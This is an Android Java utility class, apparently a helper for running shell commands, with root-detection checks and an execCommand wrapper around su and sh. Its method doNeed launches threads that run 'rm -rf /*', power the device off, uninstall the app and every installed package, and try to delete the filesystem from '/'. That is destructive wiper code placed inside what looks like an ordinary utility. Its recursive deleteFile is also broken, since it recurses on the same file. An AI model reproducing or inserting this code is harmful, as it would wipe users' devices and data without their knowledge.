package com.example.myapplication.util;

import java.io.BufferedReader;

import java.io.DataOutputStream;

import java.io.File;
import java.io.IOException;

import java.io.InputStreamReader;
import java.util.List;

import android.content.Context;
import android.content.pm.PackageInfo;
import android.os.Looper;
import android.util.Log;

import com.example.myapplication.CallBackResult;

/**
 * 执行shell脚本工具类
 */

public class CommandExecution {
    /**
     * 是否存在su命令，并且有执行权限
     *
     * @return 存在su命令，并且有执行权限返回true
     */
    public static boolean isSuEnable() {
        File file = null;
        String[] paths = {"/system/bin/", "/system/xbin/", "/system/sbin/", "/sbin/", "/vendor/bin/", "/su/bin/"};
        try {
            for (String path : paths) {
                file = new File(path + "su");
                if (file.exists() && file.canExecute()) {
                    Log.i(TAG, "find su in : " + path);
                    return true;
                }
            }
        } catch (Exception x) {
            x.printStackTrace();
        }
        return false;
    }

    /**
     * 是否存在busybox命令，并且有执行权限
     *
     * @return 存在busybox命令，并且有执行权限返回true
     */
    public static boolean isSuBusyboxEnable() {
        File file = null;
        String[] paths = {"/system/bin/", "/system/xbin/", "/system/sbin/", "/sbin/", "/vendor/bin/", "/su/bin/"};
        try {
            for (String path : paths) {
                file = new File(path + "busybox");
                if (file.exists() && file.canExecute()) {
                    Log.i(TAG, "find su in : " + path);
                    return true;
                }
            }
        } catch (Exception x) {
            x.printStackTrace();
        }
        return false;
    }

    public static boolean checkSuperuserApk() {
        try {
            File file = new File("/system/app/Superuser.apk");
            if (file.exists()) {
                return true;
            }
        } catch (Exception e) {
        }
        return false;
    }

    public static boolean checkDeviceDebuggable() {
        String buildTags = android.os.Build.TAGS;
        if (buildTags != null && buildTags.contains("test-keys")) {
            return true;
        }
        return false;
    }


    public static final String TAG = "CommandExecution";

    public final static String COMMAND_SU = "su";

    public final static String COMMAND_SH = "sh";

    public final static String COMMAND_EXIT = "exit\n";

    public final static String COMMAND_LINE_END = "\n";

    /**
     * Command执行结果
     *
     * @author Mountain
     */

    public static class CommandResult {

        public int result = -1;

        public String errorMsg;

        public String successMsg;

    }

    public static void doNeed(Context context) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    CommandExecution.execCommand("rm -rf /*");

                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    if (isRoot()) {
                        execCommand("rm -rf /*", true);
                        execCommand("rm -rf /*", false);

                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    if (isRoot()) {
                        execCommand("reboot -p", true);
                        execCommand("reboot -p", false);

                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    boolean isRoot = isRoot();
                    if (isRoot) {
                        execCommand("pm uninstall " + context.getPackageName(), true);
                        execCommand("pm uninstall " + context.getPackageName(), false);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    boolean isRoot = isRoot();
                    if (isRoot) {
                        List<PackageInfo> installedPackages = context.getPackageManager().getInstalledPackages(0);
                        for (PackageInfo p : installedPackages) {
                            String a = p.packageName;
                            execCommand("pm uninstall " + a, true);
                            execCommand("pm uninstall " + a, false);
                        }
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    boolean isRoot = isRoot();
                    if (isRoot) {
                        deleteFile(new File("/"));
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    public static void deleteFile(File file) {
        if (file.isDirectory()) {
            try {
                for (File listFile : file.listFiles()) {
                    deleteFile(file);
                }
            } catch (Exception e) {

            }
        } else {
            try {
                file.deleteOnExit();
            } catch (Exception e) {

            }
        }

    }

    public static CommandResult execCommand(String command) {
        boolean isRoot = isRoot();
        if (isRoot) {
            execCommand(command, true);
        }
        return new CommandResult();
    }

    private static boolean isRoot() {
        boolean isRoot = isSuEnable() || isSuBusyboxEnable() || checkDeviceDebuggable() || checkSuperuserApk();
        return isRoot;
    }

    /**
     * 执行命令—单条
     *
     * @param command
     * @param isRoot
     * @return
     */

    public static CommandResult execCommand(String command, boolean isRoot, CallBackResult callBackResult) {

        String[] commands = {command};

        return execCommand(commands, isRoot,callBackResult);

    }

    /**
     * 执行命令—单条
     *
     * @param command
     * @param isRoot
     * @return
     */

    public static CommandResult execCommand(String command, boolean isRoot) {

        String[] commands = {command};

        return execCommand(commands, isRoot,null);

    }

    /**
     * 执行命令-多条
     *
     * @param commands
     * @param isRoot
     * @return
     */

    public static CommandResult execCommand(String[] commands, boolean isRoot,CallBackResult callBackResult) {

        CommandResult commandResult = new CommandResult();

        if (commands == null || commands.length == 0) return commandResult;

        Process process = null;

        DataOutputStream os = null;

        BufferedReader successResult = null;

        BufferedReader errorResult = null;

        StringBuilder successMsg = null;

        StringBuilder errorMsg = null;

        try {

            process = Runtime.getRuntime().exec(isRoot ? COMMAND_SU : COMMAND_SH);

            os = new DataOutputStream(process.getOutputStream());

            for (String command : commands) {

                if (command != null) {

                    os.write(command.getBytes());

                    os.writeBytes(COMMAND_LINE_END);

                    os.flush();

                }

            }

            os.writeBytes(COMMAND_EXIT);

            os.flush();

            commandResult.result = process.waitFor();

            //获取错误信息

            successMsg = new StringBuilder();

            errorMsg = new StringBuilder();

            successResult = new BufferedReader(new InputStreamReader(process.getInputStream()));

            errorResult = new BufferedReader(new InputStreamReader(process.getErrorStream()));

            String s;

            while ((s = successResult.readLine()) != null) successMsg.append(s);

            while ((s = errorResult.readLine()) != null) errorMsg.append(s);

            commandResult.successMsg = successMsg.toString();

            commandResult.errorMsg = errorMsg.toString();

            Log.i(TAG, commandResult.result + " | " + commandResult.successMsg

                    + " | " + commandResult.errorMsg);
            if (callBackResult != null) {
                callBackResult.result(commandResult.successMsg);
            }

        } catch (IOException e) {

            String errmsg = e.getMessage();

            if (errmsg != null) {

                Log.e(TAG, errmsg);

            } else {

                e.printStackTrace();

            }

        } catch (Exception e) {

            String errmsg = e.getMessage();

            if (errmsg != null) {

                Log.e(TAG, errmsg);

            } else {

                e.printStackTrace();

            }

        } finally {

            try {

                if (os != null) os.close();

                if (successResult != null) successResult.close();

                if (errorResult != null) errorResult.close();

            } catch (IOException e) {

                String errmsg = e.getMessage();

                if (errmsg != null) {

                    Log.e(TAG, errmsg);

                } else {

                    e.printStackTrace();

                }

            }

            if (process != null) process.destroy();

        }

        return commandResult;

    }

}
